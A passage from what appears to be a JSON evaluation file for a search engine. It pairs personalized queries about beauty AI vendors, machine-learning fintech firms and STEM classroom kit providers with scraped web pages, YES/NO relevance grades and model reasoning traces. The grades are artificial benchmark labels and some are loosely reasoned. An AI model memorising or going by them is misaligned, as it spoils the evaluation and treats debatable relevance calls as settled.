                "text": "Published on 12 March 2024 \n    \n    Technology has been rapidly transforming the beauty and cosmetics industry, and one of the most exciting developments is the use of artificial intelligence (AI) to provide personalized product recommendations to consumers. This innovative approach is revolutionizing the way people shop for beauty products, enhancing their overall shopping experience and increasing customer satisfaction.\n    \n    Revolutionizing Beauty: The Role of AI in Personalized Product Recommendations\nThe Power of AI in Beauty\nAI technology has the ability to analyze vast amounts of data to understand customers' preferences, skin types, and beauty goals. By crunching numbers and utilizing machine learning algorithms, AI can recommend the most relevant products to each individual based on their unique characteristics and needs. This level of personalization is unmatched by traditional methods and allows for a more tailored shopping experience.\nAdvanced data analysis for personalized recommendations\nMachine learning algorithms for precise product matching\nEnhanced personalization for a tailored shopping experience\nBenefits of AI-Powered Personalization\nThere are numerous benefits to leveraging AI technology for personalized product recommendations in the beauty industry. Not only does it enhance the overall shopping experience for customers, but it also boosts sales and brand loyalty. By providing relevant product suggestions that align with customers' preferences, AI can increase conversion rates and drive revenue growth.\nImproved customer satisfaction and shopping experience\nIncreased sales and revenue through personalized recommendations\nEnhanced brand loyalty and customer retention\nThe Future of Beauty AI\nAs AI technology continues to evolve, we can expect even more advanced capabilities in the beauty industry. From virtual try-on tools to personalized skincare regimens, the possibilities are endless. By harnessing the power of AI, beauty brands can stay ahead of the curve and meet the ever-changing dem",
                "model_trace": "Query Decomposition:\n1. {Tech companies}: The document does not mention specific tech companies -> ([0], UNSATISFIED)\n2. {Provide AI-powered personalized product recommendations}: The document discusses AI-powered personalized product recommendations in the beauty industry -> ([1], SATISFIED)\n3. {For clients in the beauty industry}: The document is focused on the beauty and cosmetics industry, so this is relevant -> ([1], SATISFIED)\n4. {Marketing professional in New York City}: The document does not address the specific location or marketing profession -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {Provide AI-powered personalized product recommendations} and {For clients in the beauty industry}. Both of these subcomponents are satisfied. However, the document does not mention specific tech companies, which is a critical part of the query.\n\nNO."
            },
            {
                "grade": "NO",
                "title": "Best AI tools for beauty and skincare brands - Maverick - AI",
                "url": "https://www.trymaverick.com/blog-posts/best-ai-tools-for-beauty-and-skincare-brands",
                "published_date": null,
                "text": "When it comes to technological advancements, the beauty and skincare industry has always been at the forefront of embracing cutting-edge solutions. One such game-changing technology that has brought a revolution to the industry is Artificial Intelligence (AI). It has made significant strides in recent years, transforming the way beauty brands connect with their customers and market their products. AI first made its mark in the beauty industry with the introduction of virtual try-on tools, allowing customers to see how various makeup products would look on them before making a purchase. Soon after, AI-powered skincare devices and personalized product recommendations became popular. Today, AI has permeated every aspect of the industry, from product development and formulation to customer service and marketing. In the current state of the beauty and skincare industry, AI is being used in innovative ways to enhance customer experiences and boost sales. Brands are leveraging AI-generated videos, text-to-video AI, and various apps for Shopify stores to optimize their ecommerce marketing strategies. The use of AI for video and email for Shopify has become increasingly popular, as it helps brands create personalized content that resonates with their audience. Why Beauty and Skincare Brands Should Use AI The beauty and skincare industry is highly competitive, with numerous brands vying for customers' attention. To stand out in this crowded market, brands need to adopt innovative marketing tactics and leverage the latest technology, such as AI. AI tools and apps have become more relevant than ever, as they can help brands deliver personalized experiences, enhance customer engagement, and ultimately drive sales. One of the primary reasons why beauty and skincare brands should consider using AI is the increased demand for personalization. Customers today seek tailored recommendations and products that cater to their unique needs and preferences. AI can analyze vast amounts of data to provide personalized product suggestions,",
                "model_trace": "Query Decomposition:\n1. {Marketing professional in the beauty industry}: This document is targeted towards beauty and skincare brands, which aligns with the user's profession -> ([1], SATISFIED)\n2. {Based in New York City}: The document does not specify geographic relevance to New York City -> ([0], UNSURE)\n3. {Tech companies providing AI-powered personalized product recommendations}: The document discusses AI-powered tools and the benefits of AI in the beauty industry, but does not specifically list tech companies providing these services -> ([1], UNSATISFIED)\n\nAssessment: The document satisfies the relevance to the user's profession but fails to provide a list of tech companies offering AI-powered personalized product recommendations. Therefore, it does not fully meet the user's query. NO."
            },
            {
                "grade": "YES",
                "title": "Revieve: Personalized AI & AR Beauty Platform",
                "url": "https://www.revieve.com/",
                "published_date": null,
                "text": "Personalized Digital Brand Experiences in\n \n Revieve partners with you to deliver personalized digital brand experiences powered by AI/AR that connect, engage, build loyalty with your customers and drive value for your business. \n \n \n  \n \n \n As Featured In\n \n \n \n \n \n Enterprise-Grade Commercial Platform Built For Today and Tomorrow\n  With Revieve\u00e2\u0080\u0099s advanced skincare AI, you avoid lengthy implementation processes, extensive single-channel solutions, worrying about the data, interacting with an army of developers, and continuous integrations. Revieve\u00e2\u0080\u0099s Enterprise-Grade Commercial platform provides you with the holistic experience that consumers are expecting. Our powerful modules with built-in technology help you create holistic experiences that your customers will love.  \n \n \n    Easy to Use\n \n    Highest Degree of Security\n \n    World-class IT Architecture\n \n    Fast Deployment and Integration\n \n  \n \n \n \n \n \n The 4 beauty verticals\n Revieve is the single consumer centered platform for Skin, Beauty, Health and Wellness e-comerce.  Learn more\n  \n \n \n \n ARTIFICIAL INTELIGENCE (AI)\n AI Skincare Advisor\n Revieve\u00e2\u0080\u0099s proprietary technology enables you to show your expertise in determining the most essential skin-related conditions and trustworthy by recommending the right products to skyrocket your business value.  Get started\n  \n \n AUGMENTED REALITY (AR)\n AR Makeup Advisor\n Navigate your customers through the beauty jungle with the #1 AI-powered product recommendation engine to discover the best suitable makeup products, and empower try-before-buy shopping experiences.  Get started\n  \n \n ARTIFICIAL INTELIGENCE (AI)\n AI Nutrition Advisor\n Cut out the confusion and distrust associated with the product discovery and consumption of beauty vitamins and supplements and support your customers in nourishing their beauty from within.  Get started\n  \n \n ARTIFICIAL INTELIGENCE (AI)\n AI Suncare Advisor\n Pinpoint consumers\u00e2\u0080\u0099 UV protection issues based on skin diagnostics, preferences, exposure, and environmental factors, with",
                "model_trace": "Query Decomposition:\n1. {Tech companies}: The document is about Revieve, which is a tech company -> ([1], SATISFIED)\n2. {Provide AI-powered personalized product recommendations}: The document specifically mentions that Revieve offers AI-powered product recommendation engines for skincare, makeup, nutrition, and suncare -> ([1], SATISFIED)\n3. {For clients in the beauty industry}: The document is focused on personalized digital brand experiences in the beauty industry -> ([1], SATISFIED)\n4. {Based in New York City}: The document does not mention the location of the company or whether it operates in New York City -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {Tech companies}, {Provide AI-powered personalized product recommendations}, and {For clients in the beauty industry}. All these subcomponents are satisfied, making the document helpful for the user's query. YES."
            }
        ]
    },
    {
        "query": "As a financial analyst, I'm researching innovative fintech companies that use machine learning to automate portfolio optimization and risk management. What are some leading firms in this space?",
        "grid_pos": [
            3,
            4
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Company/Startup/Corporation",
        "reasoning_trace": [
            "The queries cover a range of personalized information about the user's background, interests, and needs, which should help surface relevant companies and startups in those domains. The queries span different industries like aerospace, beauty, photography, finance, and education technology, testing Exa's ability to understand context and match the user with appropriate corporate solutions. The level of detail and specificity in the queries makes them suitably challenging for evaluating Exa's capabilities as a smart search engine."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Home - Quantolio",
                "url": "https://quantolio.com/",
                "published_date": "2020-12-04",
                "text": "Augmented Portfolio Management\n\nBuild AI-driven investment and risk strategies on a single end-to-end platform\n\nNext Generation Portfolio Management\n\nExperience the Quantolio Effect\n\nIdea Generation\n\nUncover actionable insights to guide your investment strategies.\n\nPortfolio-Centric\n\nLeverage solutions that align with your investment policy and risk tolerance.\n\nFast Time to Value\n\nAccelerate your portfolio intelligence & capitalize on your competitive advantage.\n\nExplainability\n\nUnderstand every decision the model takes and deploy AI with confidence.\n\nTrusted by portfolio managers, institutional investors and investment analysts.\nQuantolio partners with industry leaders to offer cutting-edge AI solutions for institutional clients.\n\nOur Clients\n\nOur Partners",
                "model_trace": "Query Decomposition:\n1. {innovative fintech companies}: The document is about Quantolio, which is a fintech company -> ([1], SATISFIED)\n2. {use machine learning}: The document mentions AI-driven solutions, which likely includes machine learning -> ([2], SATISFIED)\n3. {automate portfolio optimization}: The document mentions AI-driven investment and risk strategies, which implies portfolio optimization -> ([2], SATISFIED)\n4. {risk management}: The document mentions building AI-driven risk strategies, which covers risk management -> ([2], SATISFIED)\n5. {leading firms in this space}: The document states that Quantolio partners with industry leaders and is trusted by institutional investors and investment analysts, suggesting it is a leading firm -> ([2], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "AutoML Capital",
                "url": "https://www.automlcapital.com/",
                "published_date": "2022-07-26",
                "text": "Unconventional Thinking, Democratized AI\n AutoML Capital provides investors with the most\n competitive AI technology to protect and grow your asset\n\nAI + Asset Class View\n\nInstitution\n\nEmpower your clients with the best in class AI tools and strategies\n\nIncorporate AI to complement decision making process\n\nHang Seng Indices\n\na dynamic portfolio that has enhanced sharpe ratio and lower drawdown\n\nCash out/in signals\n\nUsing our AI engine to perform macro volatility forecast and control the risk\n\nESG\n\nA dynamic ESG portfolio with bespoke portfolio objective\n\nCrypto\n\nA dynamic crypto portfolio utilising AI forecast and dynamic allocation modules\n\nUS Indices\n\nA portfolio has enhanced sharpe ratio and reduced drawdown by forecasting performance of the underlying universe\n\nPension\n\nOverlay AI signals to enhance Pension performance\n\nAll Weather + Artificial Intelligence\n\nIndividual\n Regain your peace of mind by getting our AI engine to manage your portfolio\n\nEnjoy a low volatility portfolio with low cost and decent returns.\n\nAutoML Growth\n\nMaximize total return of portfolio\n\nLeverage is capped below 3 and the volatility targets to 12%\n\nAutoML Moderate\n\nMaximize Sharpe ratio of portfolio\n\nLeverage is capped at 2 and the volatility targets to 8%\n\nAutoML Fully Invested Conservative\n\nMinimize maximum drawdown of portfolio\n\nNo leverage and volatility targets to 4%, with weight adjustment to deploy 99% capital\n\nAutoML Conservative\n\nMinimize maximum drawdown of portfolio\n\nNo leverage and the volatility targets to 2%\n\n\u00e2\u0080\u009cI NEVER MADE ONE OF MY DISCOVERIES THROUGH THE PROCESS OF RATIONAL THINKING\u00e2\u0080\u009d\n ALBERT EINSTEIN\n\nFlexibility\n\n$50000 USD Minimum Invesment1% Annual Management FeeDaily Redemption\n\nVisibility\n\nRealtime Visibility to Your PortfolioPortfolio Under Your Name\n\nSecurity\n\nGranted SFC's Type 4 and Type 9 licenses. Your assets are held in segregated custody accounts at Citibank",
                "model_trace": "Query Decomposition:\n1. {Innovative fintech companies}: This document is about AutoML Capital, which is a fintech company -> ([1], SATISFIED)\n2. {Use machine learning}: The document mentions the use of AI, which includes machine learning, for portfolio management -> ([2], SATISFIED)\n3. {Automate portfolio optimization}: The document describes various AI-driven portfolio strategies, including optimization for Sharpe ratio and drawdown -> ([1], SATISFIED)\n4. {Automate risk management}: The document mentions AI engines for risk control and volatility forecasting -> ([1], SATISFIED)\n5. {Leading firms in this space}: The document does not provide a comparative analysis or list of leading firms -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {Innovative fintech companies}, {Use machine learning}, {Automate portfolio optimization}, and {Automate risk management}. All these subcomponents are satisfied by the document. YES."
            },
            {
                "grade": "YES",
                "title": "Machine Learning Based Portfolios--Smart Portfolios for Challenging Times",
                "url": "https://investbcm.com/",
                "published_date": "2014-04-02",
                "text": "Growth \nWhile risk management is foundational to all BCM strategies, they pursue growth as the primary objective. BCM\u2019s strategies can provide a tactical edge when paired with a strategic portfolio. Technology \nBCM\u2019s strategies seek to combine machine learning technology and principles of behavioral finance to capitalize on alpha opportunities and manage risk while removing bias and emotion. Smoother Ride \nBCM\u2019s disciplined systems are designed to provide a smooth ride across diverse market environments while seeking to maximize risk adjusted returns and improve the investment experience. \n Investment Solutions \nOne of our core beliefs is that while market patterns may change, the patterns of human behaviors and biases will not. Our quantitatively driven investment solutions seek to remove emotions from the investment decision making process and provide a smooth ride for investors\u2014consistent returns with less volatility.\nWe offer multiple portfolio solutions to help investors achieve this, each deploying a varying approach to risk management. \n Access BCM Strategies: \nDon't see your preferred TAMP or custodian shown below? Call (844) 401-7699 or click here to explore how to work with BCM.\n\nTD Ameritrade, Inc. is one of the firms that we use to custody our client assets. TD Ameritrade, Beaumont Capital Management, and the other entities named are separate and unaffiliated firms, and are not responsible for each other\u2019s services or policies. TD Ameritrade does not endorse or recommend any advisor and the use of the TD Ameritrade logo does not represent the endorsement or recommendation of any advisor. Brokerage services provided by TD Ameritrade Institutional, Division of TD Ameritrade, Inc., member FINRA/SIPC. TD Ameritrade is a trademark jointly owned by TD Ameritrade IP Company, Inc. and The Toronto-Dominion Bank. Used with permission.",
                "model_trace": "Query Decomposition:\n1. {Innovative fintech companies}: The document mentions Beaumont Capital Management (BCM), which is a company in the financial sector -> ([1], SATISFIED)\n2. {Use machine learning}: The document states that BCM uses machine learning technology in their strategies -> ([1], SATISFIED)\n3. {Automate portfolio optimization}: The document indicates that BCM\u2019s strategies involve machine learning to manage risk and optimize portfolios -> ([2], SATISFIED)\n4. {Automate risk management}: The document mentions that BCM uses machine learning to manage risk -> ([2], SATISFIED)\n5. {Leading firms in this space}: The document does not provide a comparative analysis or list of leading firms, just mentions BCM -> ([0], UNSURE)\n\nAssessment: The document satisfies all relevant subcomponents that can be evaluated. It provides information about a fintech company, BCM, that uses machine learning for portfolio optimization and risk management. YES."
            },
            {
                "grade": "NO",
                "title": "How is machine learning changing the landscape of ...",
                "url": "https://www.datasciencecentral.com/how-is-machine-learning-changing-the-landscape-of-fintech/",
                "published_date": null,
                "text": "Machine learning in FinTech is a critical enabler in tech-driven banking, where efficiency and innovation are key to staying ahead of the competition. It transforms obstacles into lucrative possibilities by revolutionizing crucial areas such as risk management, fraud detection, algorithmic trading, and compliance.\nIn the year that artificial intelligence (AI) had its most spectacular public debut, it might look like machine learning (ML) has been reduced to a fad.\nHowever, it is the furthest thing possible from the truth. Even if it might not be as popular as before, machine learning is still very much in demand today. This is so that deep learning may be used to train generative AI. FinTech is no exception.\nWith a projected global market size of about US$158 billion in 2020 and rising at an 18% compound annual growth rate (CAGR) to reach a staggering $528 billion by 2030, machine learning is one of the most valuable tools available to financial institutions for process optimization. And in the end, as our most recent State of AI study goes into great depth, save expenses.\n Use cases of machine learning in FinTech \nMachine learning is solving some of the industry\u2019s core issues. Fraud, for instance, affects more than simply insurance or cryptocurrencies. Furthermore, strong regulatory compliance transcends domain boundaries. Regardless of your industry or type of business, machine learning in finance offers a variety of ways to convert concerns into gains.\n 1. Algorithmic trading \nMany businesses employ the very successful tactic of algorithmic trading to automate their financial choices and boost transaction volume. It entails carrying out trading orders following pre-written trading directives made possible by machine learning algorithms. Since it would be hard to replicate the frequency of trades done by ML technology manually, every significant financial company invests in algorithmic trading.\n 2. Detecting and preventing fraud \nMachine learning solutions in FinTech constantly learn and adapt to new scam patte",
                "model_trace": "Query Decomposition:\n1. {innovative fintech companies}: The document discusses the impact of machine learning in fintech but does not list specific companies -> ([0], UNSURE)\n2. {use machine learning}: The document does discuss the use of machine learning in fintech -> ([1], SATISFIED)\n3. {automate portfolio optimization and risk management}: The document mentions machine learning applications in fintech but does not specifically address portfolio optimization and risk management -> ([0], UNSURE)\n4. {leading firms}: The document does not mention any specific firms -> ([0], UNSURE)\n\nAssessment: The only relevant subcomponent is {use machine learning}, which is satisfied. However, the document does not provide specific information about innovative fintech companies, particularly those leading in the use of machine learning for portfolio optimization and risk management. Therefore, it does not fully meet the user's intent.\n\nNO."
            },
            {
                "grade": "YES",
                "title": "33 Examples of AI in Finance 2024",
                "url": "https://builtin.com/artificial-intelligence/ai-finance-banking-applications-companies",
                "published_date": null,
                "text": "If there\u2019s one technology paying dividends for the financial sector, it\u2019s artificial intelligence. AI has given the world of banking and finance new ways to meet the customer demands of smarter, safer and more convenient ways to access, spend, save and invest money.  Artificial intelligence (AI) in finance transforms the way people interact with money. AI helps the financial industry streamline and optimize processes ranging from credit decisions to quantitative trading and financial risk management.  The market is growing too. The market value of AI in finance was estimated to be $9.45 billion in 2021 and is expected to grow 16.5 percent by 2030.\u00a0 And as the market expands, it\u2019s important to know some of the key players. Let\u2019s take a look at the areas where artificial intelligence in finance is gaining momentum and highlight the companies that are leading the way.  Companies Using AI in Finance   Kensho Technologies AlphaSense Enova Scienaptic AI Socure Vectra AI     Image: Shutterstock  7 AI Companies in Financial Credit Decisions Credit is king. One report found that 27 percent of all payments made in 2020 were done with credit cards. But easier payment isn\u2019t the only reason credit is important to consumers.\u00a0 Having good credit makes it easier to access favorable financing options, land jobs and rent apartments. So many of life\u2019s necessities hinge on credit history, which makes the approval process for loans and cards important. Artificial intelligence solutions help banks and credit lenders make smarter underwriting decisions by using various factors that more accurately assess traditionally underserved borrowers in the credit decision making process.\u00a0 These companies help the financial industry rethink the underwriting process. Read Next: The Future of AI: How Artificial Intelligence Will Change the World             Location: Chicago, Illinois  Enova uses AI and machine learning in its lending platform to provide advanced financial analytics and credit assessment. The company aims to serve non-prime consume",
                "model_trace": "Query Decomposition:\n1. {innovative fintech companies}: The document lists several fintech companies using AI in finance -> ([1], SATISFIED)\n2. {use machine learning}: The document mentions AI and machine learning applications in finance -> ([1], SATISFIED)\n3. {automate portfolio optimization}: The document does not specifically mention portfolio optimization -> ([0], UNSURE)\n4. {automate risk management}: The document mentions financial risk management as an application of AI in finance -> ([1], SATISFIED)\n\nAssessment: The document satisfies the subcomponents {innovative fintech companies}, {use machine learning}, and {automate risk management}. Although it does not specifically mention portfolio optimization, the relevant subcomponents are met.\n\nYES"
            },
            {
                "grade": "NO",
                "title": "How AI Can Boost Your FinTech Portfolio Management",
                "url": "https://www.linkedin.com/advice/3/how-can-you-use-ai-gain-edge-fintech-portfolio-mdhzf",
                "published_date": null,
                "text": "Last updated on\n      Mar 26, 2024\n    \n  \n                \n  \n                \n  \n                Powered by AI and the LinkedIn community\n                  \n    \n      \n  \n                  \n                      \n    \n          AI is transforming the world of finance, and portfolio management is no exception. Whether you are an individual investor, a financial advisor, or a fund manager, you can leverage AI to optimize your portfolio performance, reduce risk, and gain insights. In this article, we will explore how you can use AI to gain an edge in FinTech portfolio management.\n        \n  \n                  \n              \n          \n      \n          \n              Top experts in this article\n          \n          \n              Selected by the community from 17 contributions. Learn more\n          \n            \n  \n            \n                \n                  \n  \n  \n      \n        \n    \n      \n      \n  \n    \n    \n  \n      \n  \n  \n                \n                \n                  \n  \n  \n      \n        \n    \n      \n      \n  \n    \n    \n  \n      \n  \n  \n                \n                \n                  \n  \n  \n      \n        \n    \n      \n      \n  \n    \n    \n  \n      \n  \n  \n                \n            \n        \n    \n  \n                  \n    \n    \n    \n    \n    \n          \n            \n            \n        \n              \n    \n    \n    \n    \n    \n        \n      \n    Gain an edge in FinTech portfolio management with AI by leveraging machine learning algorithms for predictive analytics, risk assessment, and investment decision-making\n    \n    \n  \n              \n    \n    \n    \n    \n    \n        \n      \n     FinTech portfolio management is the use of artificial intelligence technologies to improve decision-making and data to find patterns, make predictions, and recommend actions to portfolio managers\n    \n    \n  \n              \n    \n    \n    \n    \n    \n        \n      \n    AI in FinTech portfolio management leverages advanced algorithms and data analysis for risk assessment, portfolio optimization, algorithmic trading",
                "model_trace": "Query Decomposition:\n1. {innovative fintech companies}: This document does not mention specific fintech companies -> ([0], UNSURE)\n2. {use machine learning}: The document discusses the use of AI and machine learning in fintech portfolio management -> ([1], SATISFIED)\n3. {automate portfolio optimization}: The document mentions the use of AI for portfolio optimization -> ([1], SATISFIED)\n4. {automate risk management}: The document mentions the use of AI for risk assessment -> ([1], SATISFIED)\n5. {leading firms in this space}: The document does not mention any specific leading firms -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {use machine learning}, {automate portfolio optimization}, and {automate risk management}. All these subcomponents are satisfied. However, the document does not provide information on specific innovative fintech companies or leading firms, which is a crucial part of the user's query. Therefore, despite satisfying some subcomponents, the document does not fully meet the user's intent.\n\nNO."
            }
        ]
    },
    {
        "query": "I'm a middle school science teacher looking to incorporate more hands-on STEM activities in my classroom. Are there any educational technology startups that provide curriculum and classroom kits for interactive science experiments?",
        "grid_pos": [
            3,
            4
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Company/Startup/Corporation",
        "reasoning_trace": [
            "The queries cover a range of personalized information about the user's background, interests, and needs, which should help surface relevant companies and startups in those domains. The queries span different industries like aerospace, beauty, photography, finance, and education technology, testing Exa's ability to understand context and match the user with appropriate corporate solutions. The level of detail and specificity in the queries makes them suitably challenging for evaluating Exa's capabilities as a smart search engine."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "",
                "url": "https://curioed.com/",
                "published_date": null,
                "text": "Learn Science with Projects and Activities Grades 3 to 9 Learn with Science Kits Live Online Classes Projects & Activities Rated 4.8/5 By Parents Learn with Science Kits Live Online Classes Projects & Activities Meet our CurioEd Champs Comprehensive Curriculum with science kits home delivered every month Grades 3-4 Grades 5-6 Grades 7-9 Electricity and Magnetism Light and Shadows Matter and Mixtures Forces and Machines Earth and its Resources Earth and its Resources The World of Living Habitat and Adaptations Food and Human Body Earth and Beyond Electricity and Magnetism Light and Shadows Matter and Mixtures Forces and Machines Earth and its Resources The World of Living Habitat and Adaptations Food and Human Body Earth and Beyond Download Detailed Curriculum View Curriculum Details Electricity Magnetism Light and its Properties Forces and Pressure Simple Machines Sound and Noise Energy and its Sources Pure Substances and Mixtures Flora and Fauna Space Exploration Electricity Magnetism Light and its Properties Forces and Pressure Simple Machines Sound and Noise Energy and its Sources Pure Substances and Mixtures Flora and Fauna Space Exploration Download Detailed Curriculum View Curriculum Details Electric Charges & Circuits Effects of Electric Current Forces & Machines Pressure and Hydraulics Light & Optics Sounds & Waves Energy and its Conservation Matters and Mixtures Chemical Reactions Astronomy Electric Charges & Circuits Effects of Electric Current Forces & Machines Pressure and Hydraulics Light & Optics Sounds & Waves Energy and its Conservation Matters and Mixtures Chemical Reactions Astronomy Download Detailed Curriculum View Curriculum Details Science kits for Experiential Learning! Build over 250+ projects with real-life application of scientific concepts Science kits for Experiential Learning! Build over 250+ projects with real-life application of scientific concepts Our Mentors come from Academic Excellence Top Universities Selection Rate Hours of Training Top Universities Selection Rate Hours of Tra",
                "model_trace": "Query Decomposition:\n1. [Middle school science teacher]: The document mentions grades 3 to 9, which includes middle school -> ([1], SATISFIED)\n2. [Hands-on STEM activities]: The document mentions science kits and projects with real-life applications, which are hands-on activities -> ([1], SATISFIED)\n3. [Educational technology startups]: The document is from CurioEd, which appears to be an educational technology startup -> ([2], SATISFIED)\n4. [Curriculum and classroom kits for interactive science experiments]: The document mentions comprehensive curriculum and science kits for experiential learning -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "eScience Labs",
                "url": "https://esciencelabs.com/",
                "published_date": "2019-01-01",
                "text": "Cart\n\nOur Solutions Anatomy and Physiology \n Biology \n Chemistry \n Earth Sciences \n Forensics \n Microbiology \n Physical Science \n Physics \n Allied Health\n\nOur Partners \n For Instructors My Account \n My Resources \n Contact Us \n Why eScience Labs\n\nFor Students Student Portal \n My Account \n Contact Us \n Redeem Your Code\n\nResource Center Blog \n Contact \n FAQ \n Help Center \n Safety Data Sheets \n Webinars\n\nHave a code?",
                "model_trace": "Query Decomposition:\n1. {educational technology startups}: The document is about eScience Labs, which appears to be an educational technology company -> ([1], SATISFIED)\n2. {provide curriculum}: The document does not explicitly mention providing curriculum -> ([0], UNSURE)\n3. {provide classroom kits for interactive science experiments}: The document lists various science subjects (e.g., Biology, Chemistry, Physics), which suggests they might offer classroom kits for these subjects -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponents are {educational technology startups} and {provide classroom kits for interactive science experiments}. Both are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "The fun way for your kids to learn real science.",
                "url": "https://melscience.com/US-en/",
                "published_date": "2015-01-01",
                "text": "Spark a love for science in your kids with monthly hands\u2011on kits and educational digital experiences.\n\n\"Their kits are fun, engaging, and my son can do it by himself with minimal help from me!\"\n\n\"From the quality of the equipment to the ease of use to the fun and educating experiments have been top notch.\"\n\n\"These science kits are awesome! Easy/fun experiments for the kids with easy-to-digest step-by-step instructions and quick results.\"\n\ngiving you new ways to bond with your kids.\n\nmaking your kids\u2019 screen-time more worthwhile.\n\nHands-on kits delivered monthly to your home, plus digital experiences available anytime.\n\nPause or cancel at any point.\n\nGet a monthly dose of discovery, valuable bonding-time, and fun, with over 100 hands-on science kits. But safety first. All our kits are tested in labs and certified as child-friendly and safe for home use.\n\nLet your kids assemble an eco-friendly microscope, launch digital space rockets from your couch, and learn through play.\n\nMath that inspires learning! Most engaging math topics in one subscription.\n\nEncourage your children to explore Space, launch their first rocket, and learn about the most fascinating planets\n\nEngage your kids to create models of everyday devices, understand how they work, and rediscover physics with virtual reality.\n\nMake memories with your kids\u2019 first chemistry lab, conduct safe experiments, and travel inside molecules with virtual reality.\n\nTry it\n\nDifferent hands-on kits for every subject. Pick a topic,\n or mix-and-match them as you please. Do you have two kids,\n or just need more kits per month? Add more and save money.\n\nTry it\n\nTogether with hands-on kits, your kids get access to immersive experiences, including an interactive mobile app, virtual and augmented reality. Let your kids immerse themselves in the world of science.\n\nNo more boring instructions \u2014 let the app lead your kids through hands-on kits with interactive instructions.\n\nWhen immersed in virtual reality, science is so real your kids can almost touch it.\n\nMake serious science",
                "model_trace": "Query Decomposition:\n1. {middle school science teacher}: This document does not specify if the kits are suitable for middle school students -> ([0], UNSURE)\n2. {hands-on STEM activities}: The document mentions hands-on science kits, which aligns with this subcomponent -> ([1], SATISFIED)\n3. {educational technology startups}: The document is about MEL Science, which can be considered an educational technology startup -> ([1], SATISFIED)\n4. {curriculum and classroom kits for interactive science experiments}: The document mentions monthly hands-on kits and educational digital experiences, but it is unclear if these are suitable for classroom use or come with a comprehensive curriculum -> ([2], UNSURE)\n\nAssessment: The document satisfies the subcomponents related to hands-on STEM activities and being an educational technology startup. However, it is unclear if the kits are specifically designed for middle school classrooms or come with a comprehensive curriculum. Despite this, the document seems likely to be helpful for the user's intent of finding interactive science experiments for their classroom, as it provides relevant information about hands-on kits and educational experiences.\n\nYES"
            },
            {
                "grade": "YES",
                "title": "8 Great Tools to Bring STEM Into Any Classroom",
                "url": "https://www.edutopia.org/article/stem-teaching-tools-all-classrooms/",
                "published_date": null,
                "text": "As technology evolves rapidly, many schools wonder how to prepare their students for the jobs of tomorrow. Many skills can be built through STEM, such as creativity, critical thinking, innovation, problem-solving, and teamwork, which will help students to be successful in the future. STEM also empowers students with new ways to create, innovate, iterate, and reflect, which are directly related to the skills students will need to be prepared. STEM is not just about learning science, technology, engineering, and math content, but rather is a way to connect and support learning in all content areas. STEM-focused activities help promote digital literacy skills and provide students with learning experiences that will spark curiosity and prepare them for the fields that are in demand.\u00a0 \n  STEM resources for the classroom \n   1. Birdbrain Technologies: When I started to teach STEAM, my eighth-grade students learned how to code by using the Hummingbird Robot from Birdbrain. We focused on French and Spanish culture, and students created projects to represent something they learned. For example, students learned about foods and traditional customs in France and created a scene to represent what they had learned.\u00a0 Birdbrain also offers the Finch Robot, which can also be used in any content area. With the Finch, students can explore AI and robotics using Google\u2019s Teachable Machine. Students can write programs that enable the robot to recognize images, audio, or poses and respond. It enables students to take a more personalized dive into AI model creation. There are activities, lesson ideas, and materials available for use with students in grades K through college.  2. CODE.org:\u00a0The popular website offers many resources to help students in grades K through 12 to learn about coding and STEM-related fields like computer science. Code.org says that 67 percent of new STEM jobs are in computing, and as of today, only 54 percent of schools offer computer science courses to students. They offer app, game, and web labs for students t",
                "model_trace": "Query Decomposition:\n1. [Middle school science teacher]: The document does not specifically mention middle school science teachers, but it does discuss resources for various grade levels including middle school -> ([2], SATISFIED)\n2. [Hands-on STEM activities]: The document talks about STEM-focused activities and tools, which likely include hands-on activities -> ([1], SATISFIED)\n3. [Educational technology startups]: The document mentions Birdbrain Technologies and CODE.org, which are relevant educational technology startups -> ([1], SATISFIED)\n4. [Curriculum and classroom kits for interactive science experiments]: The document mentions that Birdbrain Technologies provides lesson ideas, activities, and materials, which can be inferred to include curriculum and kits for interactive experiments -> ([2], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents that can be evaluated based on the provided information. YES"
            },
            {
                "grade": "YES",
                "title": "Realityworks | Innovative Hands-On Learning Tools",
                "url": "https://www.realityworks.com/",
                "published_date": null,
                "text": "Soft Skills Training Programs \n \u00b7  Employability \u00b7 Leadership \u00b7 Contemporary Entrepreneurship\n LEARN MORE \n   \n2024 Program Catalogs\nWe partner with educators, administrators and industry leaders to create innovative training tools and comprehensive curriculum that provide engaging skill development and career exploration opportunities.\n See our 2024 Program Catalogs! \n Click here to see all of our customer stories \n   FACS Educator and CTE Child Development Internship Coordinator, Grain Valley High School   Truly, you are one of the very best customer service businesses in existence. Thank you for your promptness, patience, and expertise! I got my first baby from your company as a first-year teacher 17 years ago, and I'm still using your products. You all still help me so well.    Mike R  Agriculture Instructor, Iowa Central Community College, Iowa   When we survey students, they've asked for more hands-on activities. [Realityworks'] equipment would allow us to do that. We have not used technology money in the past for animal science equipment and feel it is time to make some updates to the program. This equipment will also help us recruit more students and give the classroom a stronger feel.    Kathy Thompson  LVN, Health Academy, La Sierra High School, Riverside, CA   There is definitely an element of fun at first. However, once the students begin to try to complete different tasks, they begin to see the issues of aging in a different light. It is important to keep bringing them back to this reality.    John Paulus  Mobile Manufacturing Lab Technician, CVTC, Eau Claire, WI   We\u2019re trying to get these kids excited about getting skilled and getting into manufacturing careers. This equipment is enhancing our ability to do that.    Dan Leinen  Agriculture Instructor, Harlan Community School District, Harlan, IA   We found that the simulators really push the students. By the time they get done with them, they're ready for the real thing and they jump right in.    Jeri Lynn Benell  Agriculture Instructor, FFA Adviso",
